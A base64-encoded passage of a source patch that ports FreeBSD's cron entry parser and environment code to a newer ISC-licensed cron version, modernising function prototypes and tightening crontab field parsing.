UEFUSCBsYXRlci4gKi8KIAlpZiAoIWVudl9nZXQoIlBBVEgiLCBlLT5lbnZwKSkgewotCQlwcmV2 X2VudiA9IGUtPmVudnA7Ci0JCXNwcmludGYoZW52c3RyLCAiUEFUSD0lcyIsIF9QQVRIX0RFRlBB VEgpOwotCQllLT5lbnZwID0gZW52X3NldChlLT5lbnZwLCBlbnZzdHIpOwotCQlpZiAoZS0+ZW52 cCA9PSBOVUxMKSB7Ci0JCQl3YXJuKCJlbnZfc2V0KCVzKSIsIGVudnN0cik7Ci0JCQllbnZfZnJl ZShwcmV2X2Vudik7Ci0JCQllY29kZSA9IGVfbWVtOwotCQkJZ290byBlb2Y7Ci0JCX0KLQl9Ci0J cHJldl9lbnYgPSBlLT5lbnZwOwotCXNwcmludGYoZW52c3RyLCAiJXM9JXMiLCAiTE9HTkFNRSIs IHB3LT5wd19uYW1lKTsKLQllLT5lbnZwID0gZW52X3NldChlLT5lbnZwLCBlbnZzdHIpOwotCWlm IChlLT5lbnZwID09IE5VTEwpIHsKLQkJd2FybigiZW52X3NldCglcykiLCBlbnZzdHIpOwotCQll bnZfZnJlZShwcmV2X2Vudik7Ci0JCWVjb2RlID0gZV9tZW07Ci0JCWdvdG8gZW9mOwotCX0KLSNp ZiBkZWZpbmVkKEJTRCkKLQlwcmV2X2VudiA9IGUtPmVudnA7Ci0Jc3ByaW50ZihlbnZzdHIsICIl cz0lcyIsICJVU0VSIiwgcHctPnB3X25hbWUpOwotCWUtPmVudnAgPSBlbnZfc2V0KGUtPmVudnAs IGVudnN0cik7Ci0JaWYgKGUtPmVudnAgPT0gTlVMTCkgewotCQl3YXJuKCJlbnZfc2V0KCVzKSIs IGVudnN0cik7Ci0JCWVudl9mcmVlKHByZXZfZW52KTsKLQkJZWNvZGUgPSBlX21lbTsKLQkJZ290 byBlb2Y7Ci0JfQorCQlpZiAoZ2x1ZV9zdHJpbmdzKGVudnN0ciwgc2l6ZW9mIGVudnN0ciwgIlBB VEgiLAorCQkJCSBfUEFUSF9ERUZQQVRILCAnPScpKSB7CisJCQlpZiAoKHRlbnZwID0gZW52X3Nl dChlLT5lbnZwLCBlbnZzdHIpKSA9PSBOVUxMKSB7CisJCQkJZWNvZGUgPSBlX21lbW9yeTsKKwkJ CQlnb3RvIGVvZjsKKwkJCX0KKwkJCWUtPmVudnAgPSB0ZW52cDsKKwkJfSBlbHNlCisJCQlsb2df aXQoIkNST04iLCBnZXRwaWQoKSwgImVycm9yIiwgImNhbid0IHNldCBQQVRIIik7CisJfQorI2Vu ZGlmIC8qIExPR0lOX0NBUCAqLworCWlmIChnbHVlX3N0cmluZ3MoZW52c3RyLCBzaXplb2YgZW52 c3RyLCAiTE9HTkFNRSIsCisJCQkgcHctPnB3X25hbWUsICc9JykpIHsKKwkJaWYgKCh0ZW52cCA9 IGVudl9zZXQoZS0+ZW52cCwgZW52c3RyKSkgPT0gTlVMTCkgeworCQkJZWNvZGUgPSBlX21lbW9y eTsKKwkJCWdvdG8gZW9mOworCQl9CisJCWUtPmVudnAgPSB0ZW52cDsKKwl9IGVsc2UKKwkJbG9n X2l0KCJDUk9OIiwgZ2V0cGlkKCksICJlcnJvciIsICJjYW4ndCBzZXQgTE9HTkFNRSIpOworI2lm IGRlZmluZWQoQlNEKSB8fCBkZWZpbmVkKF9fbGludXgpCisJaWYgKGdsdWVfc3RyaW5ncyhlbnZz dHIsIHNpemVvZiBlbnZzdHIsICJVU0VSIiwKKwkJCSBwdy0+cHdfbmFtZSwgJz0nKSkgeworCQlp ZiAoKHRlbnZwID0gZW52X3NldChlLT5lbnZwLCBlbnZzdHIpKSA9PSBOVUxMKSB7CisJCQllY29k ZSA9IGVfbWVtb3J5OworCQkJZ290byBlb2Y7CisJCX0KKwkJZS0+ZW52cCA9IHRlbnZwOworCX0g ZWxzZQorCQlsb2dfaXQoIkNST04iLCBnZXRwaWQoKSwgImVycm9yIiwgImNhbid0IHNldCBVU0VS Iik7CiAjZW5kaWYKIAogCURlYnVnKERQQVJTLCAoImxvYWRfZW50cnkoKS4uLmFib3V0IHRvIHBh cnNlIGNvbW1hbmRcbiIpKQogCisJLyogSWYgdGhlIGZpcnN0IGNoYXJhY3RlciBvZiB0aGUgY29t bWFuZCBpcyAnLScgaXQgaXMgYSBjcm9uIG9wdGlvbi4KKwkgKi8KKwl3aGlsZSAoKGNoID0gZ2V0 X2NoYXIoZmlsZSkpID09ICctJykgeworCQlzd2l0Y2ggKGNoID0gZ2V0X2NoYXIoZmlsZSkpIHsK KwkJY2FzZSAncSc6CisJCQllLT5mbGFncyB8PSBET05UX0xPRzsKKwkJCVNraXBfTm9uYmxhbmtz KGNoLCBmaWxlKQorCQkJYnJlYWs7CisJCWRlZmF1bHQ6CisJCQllY29kZSA9IGVfb3B0aW9uOwor CQkJZ290byBlb2Y7CisJCX0KKwkJU2tpcF9CbGFua3MoY2gsIGZpbGUpCisJCWlmIChjaCA9PSBF T0YgfHwgY2ggPT0gJ1xuJykgeworCQkJZWNvZGUgPSBlX2NtZDsKKwkJCWdvdG8gZW9mOworCQl9 CisJfQorCXVuZ2V0X2NoYXIoY2gsIGZpbGUpOworCiAJLyogRXZlcnl0aGluZyB1cCB0byB0aGUg bmV4dCBcbiBvciBFT0YgaXMgcGFydCBvZiB0aGUgY29tbWFuZC4uLgogCSAqIHRvbyBiYWQgd2Ug ZG9uJ3Qga25vdyBpbiBhZHZhbmNlIGhvdyBsb25nIGl0IHdpbGwgYmUsIHNpbmNlIHdlCiAJICog bmVlZCB0byBtYWxsb2MgYSBzdHJpbmcgZm9yIGl0Li4uIHNvLCB3ZSBsaW1pdCBpdCB0byBNQVhf Q09NTUFORC4KLQkgKiBYWFggLSBzaG91bGQgdXNlIHJlYWxsb2MoKS4KLQkgKi8KKwkgKi8gCiAJ Y2ggPSBnZXRfc3RyaW5nKGNtZCwgTUFYX0NPTU1BTkQsIGZpbGUsICJcbiIpOwogCiAJLyogYSBm aWxlIHdpdGhvdXQgYSBcbiBiZWZvcmUgdGhlIEVPRiBpcyBydWRlLCBzbyB3ZSdsbCBjb21wbGFp bi4uLgpAQCAtNDM3LDM3ICszODgsMzUgQEAKIAogCS8qIGdvdCB0aGUgY29tbWFuZCBpbiB0aGUg J2NtZCcgc3RyaW5nOyBzYXZlIGl0IGluICplLgogCSAqLwotCWUtPmNtZCA9IHN0cmR1cChjbWQp OwotCWlmIChlLT5jbWQgPT0gTlVMTCkgewotCQl3YXJuKCJzdHJkdXAoXCIlc1wiKSIsIGNtZCk7 Ci0JCWVjb2RlID0gZV9tZW07CisJaWYgKChlLT5jbWQgPSBzdHJkdXAoY21kKSkgPT0gTlVMTCkg eworCQllY29kZSA9IGVfbWVtb3J5OwogCQlnb3RvIGVvZjsKIAl9CisKIAlEZWJ1ZyhEUEFSUywg KCJsb2FkX2VudHJ5KCkuLi5yZXR1cm5pbmcgc3VjY2Vzc2Z1bGx5XG4iKSkKIAogCS8qIHN1Y2Nl c3MsIGZpbmksIHJldHVybiBwb2ludGVyIHRvIHRoZSBlbnRyeSB3ZSBqdXN0IGNyZWF0ZWQuLi4K IAkgKi8KLQlyZXR1cm4gZTsKKwlyZXR1cm4gKGUpOwogCiAgZW9mOgotCWZyZWVfZW50cnkoZSk7 CisJaWYgKGUtPmVudnApCisJCWVudl9mcmVlKGUtPmVudnApOworCWlmIChlLT5jbWQpCisJCWZy ZWUoZS0+Y21kKTsKKwlmcmVlKGUpOworCXdoaWxlIChjaCAhPSAnXG4nICYmICFmZW9mKGZpbGUp KQorCQljaCA9IGdldF9jaGFyKGZpbGUpOwogCWlmIChlY29kZSAhPSBlX25vbmUgJiYgZXJyb3Jf ZnVuYykKIAkJKCplcnJvcl9mdW5jKShlY29kZXNbKGludCllY29kZV0pOwotCXdoaWxlIChjaCAh PSBFT0YgJiYgY2ggIT0gJ1xuJykKLQkJY2ggPSBnZXRfY2hhcihmaWxlKTsKLQlyZXR1cm4gTlVM TDsKKwlyZXR1cm4gKE5VTEwpOwogfQogCi0KLXN0YXRpYyBjaGFyCi1nZXRfbGlzdChiaXRzLCBs b3csIGhpZ2gsIG5hbWVzLCBjaCwgZmlsZSkKLQliaXRzdHJfdAkqYml0czsJCS8qIG9uZSBiaXQg cGVyIGZsYWcsIGRlZmF1bHQ9RkFMU0UgKi8KLQlpbnQJCWxvdywgaGlnaDsJLyogYm91bmRzLCBp bXBsLiBvZmZzZXQgZm9yIGJpdHN0ciAqLwotCWNoYXIJCSpuYW1lc1tdOwkvKiBOVUxMIG9yICpb XSBvZiBuYW1lcyBmb3IgdGhlc2UgZWxlbWVudHMgKi8KLQlpbnQJCWNoOwkJLyogY3VycmVudCBj aGFyYWN0ZXIgYmVpbmcgcHJvY2Vzc2VkICovCi0JRklMRQkJKmZpbGU7CQkvKiBmaWxlIGJlaW5n IHJlYWQgKi8KK3N0YXRpYyBpbnQKK2dldF9saXN0KGJpdHN0cl90ICpiaXRzLCBpbnQgbG93LCBp bnQgaGlnaCwgY29uc3QgY2hhciAqbmFtZXNbXSwKKwkgaW50IGNoLCBGSUxFICpmaWxlKQogewot CXJlZ2lzdGVyIGludAlkb25lOworCWludCBkb25lOwogCiAJLyogd2Uga25vdyB0aGF0IHdlIHBv aW50IHRvIGEgbm9uLWJsYW5rIGNoYXJhY3RlciBoZXJlOwogCSAqIG11c3QgZG8gYSBTa2lwX0Js YW5rcyBiZWZvcmUgd2UgZXhpdCwgc28gdGhhdCB0aGUKQEAgLTQ3OSw3ICs0MjgsNyBAQAogCiAJ LyogbGlzdCA9IHJhbmdlIHsiLCIgcmFuZ2V9CiAJICovCi0KKwkKIAkvKiBjbGVhciB0aGUgYml0 IHN0cmluZywgc2luY2UgdGhlIGRlZmF1bHQgaXMgJ29mZicuCiAJICovCiAJYml0X25jbGVhcihi aXRzLCAwLCAoaGlnaC1sb3crMSkpOwpAQCAtNDg4LDcgKzQzNyw4IEBACiAJICovCiAJZG9uZSA9 IEZBTFNFOwogCXdoaWxlICghZG9uZSkgewotCQljaCA9IGdldF9yYW5nZShiaXRzLCBsb3csIGhp Z2gsIG5hbWVzLCBjaCwgZmlsZSk7CisJCWlmIChFT0YgPT0gKGNoID0gZ2V0X3JhbmdlKGJpdHMs IGxvdywgaGlnaCwgbmFtZXMsIGNoLCBmaWxlKSkpCisJCQlyZXR1cm4gKEVPRik7CiAJCWlmIChj aCA9PSAnLCcpCiAJCQljaCA9IGdldF9jaGFyKGZpbGUpOwogCQllbHNlCkBAIC01MDIsMjMgKzQ1 MiwxOCBAQAogCiAJRGVidWcoRFBBUlN8REVYVCwgKCJnZXRfbGlzdCgpLi4uZXhpdGluZyB3LyAl MDJ4XG4iLCBjaCkpCiAKLQlyZXR1cm4gY2g7CisJcmV0dXJuIChjaCk7CiB9CiAKIAotc3RhdGlj IGNoYXIKLWdldF9yYW5nZShiaXRzLCBsb3csIGhpZ2gsIG5hbWVzLCBjaCwgZmlsZSkKLQliaXRz dHJfdAkqYml0czsJCS8qIG9uZSBiaXQgcGVyIGZsYWcsIGRlZmF1bHQ9RkFMU0UgKi8KLQlpbnQJ CWxvdywgaGlnaDsJLyogYm91bmRzLCBpbXBsLiBvZmZzZXQgZm9yIGJpdHN0ciAqLwotCWNoYXIJ CSpuYW1lc1tdOwkvKiBOVUxMIG9yIG5hbWVzIG9mIGVsZW1lbnRzICovCi0JaW50CQljaDsJCS8q IGN1cnJlbnQgY2hhcmFjdGVyIGJlaW5nIHByb2Nlc3NlZCAqLwotCUZJTEUJCSpmaWxlOwkJLyog ZmlsZSBiZWluZyByZWFkICovCitzdGF0aWMgaW50CitnZXRfcmFuZ2UoYml0c3RyX3QgKmJpdHMs IGludCBsb3csIGludCBoaWdoLCBjb25zdCBjaGFyICpuYW1lc1tdLAorCSAgaW50IGNoLCBGSUxF ICpmaWxlKQogewogCS8qIHJhbmdlID0gbnVtYmVyIHwgbnVtYmVyICItIiBudW1iZXIgWyAiLyIg bnVtYmVyIF0KIAkgKi8KIAotCXJlZ2lzdGVyIGludAlpOwotCWF1dG8gaW50CW51bTEsIG51bTIs IG51bTM7CisJaW50IGksIG51bTEsIG51bTIsIG51bTM7CiAKIAlEZWJ1ZyhEUEFSU3xERVhULCAo ImdldF9yYW5nZSgpLi4uZW50ZXJpbmcsIGV4aXQgd29uJ3Qgc2hvd1xuIikpCiAKQEAgLTUyOSwz MSArNDc0LDMyIEBACiAJCW51bTIgPSBoaWdoOwogCQljaCA9IGdldF9jaGFyKGZpbGUpOwogCQlp ZiAoY2ggPT0gRU9GKQotCQkJcmV0dXJuIEVPRjsKKwkJCXJldHVybiAoRU9GKTsKIAl9IGVsc2Ug ewotCQlpZiAoRU9GID09IChjaCA9IGdldF9udW1iZXIoJm51bTEsIGxvdywgbmFtZXMsIGNoLCBm aWxlKSkpCi0JCQlyZXR1cm4gRU9GOworCQljaCA9IGdldF9udW1iZXIoJm51bTEsIGxvdywgbmFt ZXMsIGNoLCBmaWxlLCAiLC0gXHRcbiIpOworCQlpZiAoY2ggPT0gRU9GKQorCQkJcmV0dXJuIChF T0YpOwogCi0JCWlmIChjaCA9PSAnLycpCi0JCQludW0yID0gaGlnaDsKLQkJZWxzZSBpZiAoY2gg IT0gJy0nKSB7CisJCWlmIChjaCAhPSAnLScpIHsKIAkJCS8qIG5vdCBhIHJhbmdlLCBpdCdzIGEg c2luZ2xlIG51bWJlci4KIAkJCSAqLwotCQkJaWYgKEVPRiA9PSBzZXRfZWxlbWVudChiaXRzLCBs b3csIGhpZ2gsIG51bTEpKQotCQkJCXJldHVybiBFT0Y7Ci0JCQlyZXR1cm4gY2g7CisJCQlpZiAo RU9GID09IHNldF9lbGVtZW50KGJpdHMsIGxvdywgaGlnaCwgbnVtMSkpIHsKKwkJCQl1bmdldF9j aGFyKGNoLCBmaWxlKTsKKwkJCQlyZXR1cm4gKEVPRik7CisJCQl9CisJCQlyZXR1cm4gKGNoKTsK IAkJfSBlbHNlIHsKIAkJCS8qIGVhdCB0aGUgZGFzaAogCQkJICovCiAJCQljaCA9IGdldF9jaGFy KGZpbGUpOwogCQkJaWYgKGNoID09IEVPRikKLQkJCQlyZXR1cm4gRU9GOworCQkJCXJldHVybiAo RU9GKTsKIAogCQkJLyogZ2V0IHRoZSBudW1iZXIgZm9sbG93aW5nIHRoZSBkYXNoCiAJCQkgKi8K LQkJCWNoID0gZ2V0X251bWJlcigmbnVtMiwgbG93LCBuYW1lcywgY2gsIGZpbGUpOwotCQkJaWYg KGNoID09IEVPRikKLQkJCQlyZXR1cm4gRU9GOworCQkJY2ggPSBnZXRfbnVtYmVyKCZudW0yLCBs b3csIG5hbWVzLCBjaCwgZmlsZSwgIi8sIFx0XG4iKTsKKwkJCWlmIChjaCA9PSBFT0YgfHwgbnVt MSA+IG51bTIpCisJCQkJcmV0dXJuIChFT0YpOwogCQl9CiAJfQogCkBAIC01NjQsMTYgKzUxMCwx NiBAQAogCQkgKi8KIAkJY2ggPSBnZXRfY2hhcihmaWxlKTsKIAkJaWYgKGNoID09IEVPRikKLQkJ CXJldHVybiBFT0Y7CisJCQlyZXR1cm4gKEVPRik7CiAKIAkJLyogZ2V0IHRoZSBzdGVwIHNpemUg LS0gbm90ZTogd2UgZG9uJ3QgcGFzcyB0aGUKIAkJICogbmFtZXMgaGVyZSwgYmVjYXVzZSB0aGUg bnVtYmVyIGlzIG5vdCBhbgogCQkgKiBlbGVtZW50IGlkLCBpdCdzIGEgc3RlcCBzaXplLiAgJ2xv dycgaXMKIAkJICogc2VudCBhcyBhIDAgc2luY2UgdGhlcmUgaXMgbm8gb2Zmc2V0IGVpdGhlci4K IAkJICovCi0JCWNoID0gZ2V0X251bWJlcigmbnVtMywgMCwgUFBDX05VTEwsIGNoLCBmaWxlKTsK KwkJY2ggPSBnZXRfbnVtYmVyKCZudW0zLCAwLCBQUENfTlVMTCwgY2gsIGZpbGUsICIsIFx0XG4i KTsKIAkJaWYgKGNoID09IEVPRiB8fCBudW0zID09IDApCi0JCQlyZXR1cm4gRU9GOworCQkJcmV0 dXJuIChFT0YpOwogCX0gZWxzZSB7CiAJCS8qIG5vIHN0ZXAuICBkZWZhdWx0PT0xLgogCQkgKi8K QEAgLTU4Myw4NSArNTI5LDc2IEBACiAJLyogcmFuZ2UuIHNldCBhbGwgZWxlbWVudHMgZnJvbSBu dW0xIHRvIG51bTIsIHN0ZXBwaW5nCiAJICogYnkgbnVtMy4gICh0aGUgc3RlcCBpcyBhIGRvd253 YXJkLWNvbXBhdGlibGUgZXh0ZW5zaW9uCiAJICogcHJvcG9zZWQgY29uY2VwdHVhbGx5IGJ5IGJv YkBhY29ybnJjLCBzeW50YWN0aWNhbGx5Ci0JICogZGVzaWduZWQgdGhlbiBpbXBsbWVudGVkIGJ5 IHBhdWwgdml4aWUpLgorCSAqIGRlc2lnbmVkIHRoZW4gaW1wbGVtZW50ZWQgYnkgcGF1bCB2aXhp ZSkuCiAJICovCiAJZm9yIChpID0gbnVtMTsgIGkgPD0gbnVtMjsgIGkgKz0gbnVtMykKLQkJaWYg KEVPRiA9PSBzZXRfZWxlbWVudChiaXRzLCBsb3csIGhpZ2gsIGkpKQotCQkJcmV0dXJuIEVPRjsK KwkJaWYgKEVPRiA9PSBzZXRfZWxlbWVudChiaXRzLCBsb3csIGhpZ2gsIGkpKSB7CisJCQl1bmdl dF9jaGFyKGNoLCBmaWxlKTsKKwkJCXJldHVybiAoRU9GKTsKKwkJfQogCi0JcmV0dXJuIGNoOwor CXJldHVybiAoY2gpOwogfQogCitzdGF0aWMgaW50CitnZXRfbnVtYmVyKGludCAqbnVtcHRyLCBp bnQgbG93LCBjb25zdCBjaGFyICpuYW1lc1tdLCBpbnQgY2gsIEZJTEUgKmZpbGUsCisgICAgY29u c3QgY2hhciAqdGVybXMpIHsKKwljaGFyIHRlbXBbTUFYX1RFTVBTVFJdLCAqcGM7CisJaW50IGxl biwgaTsKIAotc3RhdGljIGNoYXIKLWdldF9udW1iZXIobnVtcHRyLCBsb3csIG5hbWVzLCBjaCwg ZmlsZSkKLQlpbnQJKm51bXB0cjsJLyogd2hlcmUgZG9lcyB0aGUgcmVzdWx0IGdvPyAqLwotCWlu dAlsb3c7CQkvKiBvZmZzZXQgYXBwbGllZCB0byByZXN1bHQgaWYgc3ltYm9saWMgZW51bSB1c2Vk ICovCi0JY2hhcgkqbmFtZXNbXTsJLyogc3ltYm9saWMgbmFtZXMsIGlmIGFueSwgZm9yIGVudW1z ICovCi0JaW50CWNoOwkJLyogY3VycmVudCBjaGFyYWN0ZXIgKi8KLQlGSUxFCSpmaWxlOwkJLyog c291cmNlICovCi17Ci0JY2hhcgl0ZW1wW01BWF9URU1QU1RSXSwgKnBjOwotCWludAlsZW4sIGks IGFsbF9kaWdpdHM7Ci0KLQkvKiBjb2xsZWN0IGFscGhhbnVtZXJpY3MgaW50byBvdXIgZml4ZWQt c2l6ZSB0ZW1wIGFycmF5Ci0JICovCiAJcGMgPSB0ZW1wOwogCWxlbiA9IDA7Ci0JYWxsX2RpZ2l0 cyA9IFRSVUU7Ci0Jd2hpbGUgKGlzYWxudW0oY2gpKSB7Ci0JCWlmICgrK2xlbiA+PSBNQVhfVEVN UFNUUikKLQkJCXJldHVybiBFT0Y7CiAKKwkvKiBmaXJzdCBsb29rIGZvciBhIG51bWJlciAqLwor CXdoaWxlIChpc2RpZ2l0KCh1bnNpZ25lZCBjaGFyKWNoKSkgeworCQlpZiAoKytsZW4gPj0gTUFY X1RFTVBTVFIpCisJCQlnb3RvIGJhZDsKIAkJKnBjKysgPSBjaDsKLQotCQlpZiAoIWlzZGlnaXQo Y2gpKQotCQkJYWxsX2RpZ2l0cyA9IEZBTFNFOwotCiAJCWNoID0gZ2V0X2NoYXIoZmlsZSk7CiAJ fQogCSpwYyA9ICdcMCc7Ci0JaWYgKGxlbiA9PSAwKQotCSAgICByZXR1cm4gKEVPRik7CisJaWYg KGxlbiAhPSAwKSB7CisJCS8qIGdvdCBhIG51bWJlciwgY2hlY2sgZm9yIHZhbGlkIHRlcm1pbmF0 b3IgKi8KKwkJaWYgKCFzdHJjaHIodGVybXMsIGNoKSkKKwkJCWdvdG8gYmFkOworCQkqbnVtcHRy ID0gYXRvaSh0ZW1wKTsKKwkJcmV0dXJuIChjaCk7CisJfQogCi0JLyogdHJ5IHRvIGZpbmQgdGhl IG5hbWUgaW4gdGhlIG5hbWUgbGlzdAotCSAqLworCS8qIG5vIG51bWJlcnMsIGxvb2sgZm9yIGEg c3RyaW5nIGlmIHdlIGhhdmUgYW55ICovCiAJaWYgKG5hbWVzKSB7Ci0JCWZvciAoaSA9IDA7ICBu YW1lc1tpXSAhPSBOVUxMOyAgaSsrKSB7Ci0JCQlEZWJ1ZyhEUEFSU3xERVhULAotCQkJCSgiZ2V0 X251bSwgY29tcGFyZSglcywlcylcbiIsIG5hbWVzW2ldLCB0ZW1wKSkKLQkJCWlmICghc3RyY2Fz ZWNtcChuYW1lc1tpXSwgdGVtcCkpIHsKLQkJCQkqbnVtcHRyID0gaStsb3c7Ci0JCQkJcmV0dXJu IGNoOworCQl3aGlsZSAoaXNhbHBoYSgodW5zaWduZWQgY2hhciljaCkpIHsKKwkJCWlmICgrK2xl biA+PSBNQVhfVEVNUFNUUikKKwkJCQlnb3RvIGJhZDsKKwkJCSpwYysrID0gY2g7CisJCQljaCA9 IGdldF9jaGFyKGZpbGUpOworCQl9CisJCSpwYyA9ICdcMCc7CisJCWlmIChsZW4gIT0gMCAmJiBz dHJjaHIodGVybXMsIGNoKSkgeworCQkJZm9yIChpID0gMDsgIG5hbWVzW2ldICE9IE5VTEw7ICBp KyspIHsKKwkJCQlEZWJ1ZyhEUEFSU3xERVhULAorCQkJCQkoImdldF9udW0sIGNvbXBhcmUoJXMs JXMpXG4iLCBuYW1lc1tpXSwKKwkJCQkJdGVtcCkpCisJCQkJaWYgKCFzdHJjYXNlY21wKG5hbWVz W2ldLCB0ZW1wKSkgeworCQkJCQkqbnVtcHRyID0gaStsb3c7CisJCQkJCXJldHVybiAoY2gpOwor CQkJCX0KIAkJCX0KIAkJfQogCX0KIAotCS8qIG5vIG5hbWUgbGlzdCBzcGVjaWZpZWQsIG9yIHRo ZXJlIGlzIG9uZSBhbmQgb3VyIHN0cmluZyBpc24ndAotCSAqIGluIGl0LiAgZWl0aGVyIHdheTog aWYgaXQncyBhbGwgZGlnaXRzLCB1c2UgaXRzIG1hZ25pdHVkZS4KLQkgKiBvdGhlcndpc2UsIGl0 J3MgYW4gZXJyb3IuCi0JICovCi0JaWYgKGFsbF9kaWdpdHMpIHsKLQkJKm51bXB0ciA9IGF0b2ko dGVtcCk7Ci0JCXJldHVybiBjaDsKLQl9Ci0KLQlyZXR1cm4gRU9GOworYmFkOgorCXVuZ2V0X2No YXIoY2gsIGZpbGUpOworCXJldHVybiAoRU9GKTsKIH0KIAotCiBzdGF0aWMgaW50Ci1zZXRfZWxl bWVudChiaXRzLCBsb3csIGhpZ2gsIG51bWJlcikKLQliaXRzdHJfdAkqYml0czsgCQkvKiBvbmUg Yml0IHBlciBmbGFnLCBkZWZhdWx0PUZBTFNFICovCi0JaW50CQlsb3c7Ci0JaW50CQloaWdoOwot CWludAkJbnVtYmVyOwoteworc2V0X2VsZW1lbnQoYml0c3RyX3QgKmJpdHMsIGludCBsb3csIGlu dCBoaWdoLCBpbnQgbnVtYmVyKSB7CiAJRGVidWcoRFBBUlN8REVYVCwgKCJzZXRfZWxlbWVudCg/ LCVkLCVkLCVkKVxuIiwgbG93LCBoaWdoLCBudW1iZXIpKQogCiAJaWYgKG51bWJlciA8IGxvdyB8 fCBudW1iZXIgPiBoaWdoKQotCQlyZXR1cm4gRU9GOworCQlyZXR1cm4gKEVPRik7CiAKIAliaXRf c2V0KGJpdHMsIChudW1iZXItbG93KSk7Ci0JcmV0dXJuIE9LOworCXJldHVybiAoT0spOwogfQpk aWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9saWIvZW52LmMgZnJlZWJzZF9jcm9uL2xp Yi9lbnYuYwotLS0gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9saWIvZW52LmMJMjAxNC0wMS0xNiAy MTo0Mzo1MC4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jvbi9saWIvZW52LmMJMjAxNC0w Ni0xMSAxNjo0Mjo1NS4yNzU0NDQzNzkgKzAyMDAKQEAgLTEsOTUgKzEsODIgQEAKIC8qIENvcHly aWdodCAxOTg4LDE5OTAsMTk5MywxOTk0IGJ5IFBhdWwgVml4aWUKICAqIEFsbCByaWdodHMgcmVz ZXJ2ZWQKKyAqLworCisvKgorICogQ29weXJpZ2h0IChjKSAyMDA0IGJ5IEludGVybmV0IFN5c3Rl bXMgQ29uc29ydGl1bSwgSW5jLiAoIklTQyIpCisgKiBDb3B5cmlnaHQgKGMpIDE5OTcsMjAwMCBi eSBJbnRlcm5ldCBTb2Z0d2FyZSBDb25zb3J0aXVtLCBJbmMuCiAgKgotICogRGlzdHJpYnV0ZSBm cmVlbHksIGV4Y2VwdDogZG9uJ3QgcmVtb3ZlIG15IG5hbWUgZnJvbSB0aGUgc291cmNlIG9yCi0g KiBkb2N1bWVudGF0aW9uIChkb24ndCB0YWtlIGNyZWRpdCBmb3IgbXkgd29yayksIG1hcmsgeW91 ciBjaGFuZ2VzIChkb24ndAotICogZ2V0IG1lIGJsYW1lZCBmb3IgeW91ciBwb3NzaWJsZSBidWdz KSwgZG9uJ3QgYWx0ZXIgb3IgcmVtb3ZlIHRoaXMKLSAqIG5vdGljZS4gIE1heSBiZSBzb2xkIGlm IGJ1aWxkYWJsZSBzb3VyY2UgaXMgcHJvdmlkZWQgdG8gYnV5ZXIuICBObwotICogd2FycmFudGVl IG9mIGFueSBraW5kLCBleHByZXNzIG9yIGltcGxpZWQsIGlzIGluY2x1ZGVkIHdpdGggdGhpcwot ICogc29mdHdhcmU7IHVzZSBhdCB5b3VyIG93biByaXNrLCByZXNwb25zaWJpbGl0eSBmb3IgZGFt YWdlcyAoaWYgYW55KSB0bwotICogYW55b25lIHJlc3VsdGluZyBmcm9tIHRoZSB1c2Ugb2YgdGhp cyBzb2Z0d2FyZSByZXN0cyBlbnRpcmVseSB3aXRoIHRoZQotICogdXNlci4KKyAqIFBlcm1pc3Np b24gdG8gdXNlLCBjb3B5LCBtb2RpZnksIGFuZCBkaXN0cmlidXRlIHRoaXMgc29mdHdhcmUgZm9y IGFueQorICogcHVycG9zZSB3aXRoIG9yIHdpdGhvdXQgZmVlIGlzIGhlcmVieSBncmFudGVkLCBw cm92aWRlZCB0aGF0IHRoZSBhYm92ZQorICogY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJt aXNzaW9uIG5vdGljZSBhcHBlYXIgaW4gYWxsIGNvcGllcy4KICAqCi0gKiBTZW5kIGJ1ZyByZXBv cnRzLCBidWcgZml4ZXMsIGVuaGFuY2VtZW50cywgcmVxdWVzdHMsIGZsYW1lcywgZXRjLiwgYW5k Ci0gKiBJJ2xsIHRyeSB0byBrZWVwIGEgdmVyc2lvbiB1cCB0byBkYXRlLiAgSSBjYW4gYmUgcmVh Y2hlZCBhcyBmb2xsb3dzOgotICogUGF1bCBWaXhpZSAgICAgICAgICA8cGF1bEB2aXguY29tPiAg ICAgICAgICB1dW5ldCFkZWN3cmwhdml4aWUhcGF1bAorICogVEhFIFNPRlRXQVJFIElTIFBST1ZJ REVEICJBUyBJUyIgQU5EIElTQyBESVNDTEFJTVMgQUxMIFdBUlJBTlRJRVMKKyAqIFdJVEggUkVH QVJEIFRPIFRISVMgU09GVFdBUkUgSU5DTFVESU5HIEFMTCBJTVBMSUVEIFdBUlJBTlRJRVMgT0YK KyAqIE1FUkNIQU5UQUJJTElUWSBBTkQgRklUTkVTUy4gIElOIE5PIEVWRU5UIFNIQUxMIElTQyBC RSBMSUFCTEUgRk9SCisgKiBBTlkgU1BFQ0lBTCwgRElSRUNULCBJTkRJUkVDVCwgT1IgQ09OU0VR VUVOVElBTCBEQU1BR0VTIE9SIEFOWSBEQU1BR0VTCisgKiBXSEFUU09FVkVSIFJFU1VMVElORyBG Uk9NIExPU1MgT0YgVVNFLCBEQVRBIE9SIFBST0ZJVFMsIFdIRVRIRVIgSU4gQU4KKyAqIEFDVElP TiBPRiBDT05UUkFDVCwgTkVHTElHRU5DRSBPUiBPVEhFUiBUT1JUSU9VUyBBQ1RJT04sIEFSSVNJ TkcgT1VUCisgKiBPRiBPUiBJTiBDT05ORUNUSU9OIFdJVEggVEhFIFVTRSBPUiBQRVJGT1JNQU5D RSBPRiBUSElTIFNPRlRXQVJFLgogICovCiAKLSNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5l ZChMSU5UKQotc3RhdGljIGNvbnN0IGNoYXIgcmNzaWRbXSA9Ci0gICIkRnJlZUJTRDogcmVsZWFz ZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9saWIvZW52LmMgMTEwNjM4IDIwMDMtMDItMTAgMTE6MjA6 NThaIHRob21hcyAkIjsKLSNlbmRpZgotCisvLyNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5l ZChMSU5UKQorLy9zdGF0aWMgY2hhciByY3NpZFtdID0gIiRJZDogZW52LmMsdiAxLjEwIDIwMDQv MDEvMjMgMTg6NTY6NDIgdml4aWUgRXhwICQiOworLy8jZW5kaWYKIAogI2luY2x1ZGUgImNyb24u aCIKIAotCiBjaGFyICoqCi1lbnZfaW5pdCgpCi17Ci0JcmVnaXN0ZXIgY2hhcgkqKnAgPSAoY2hh 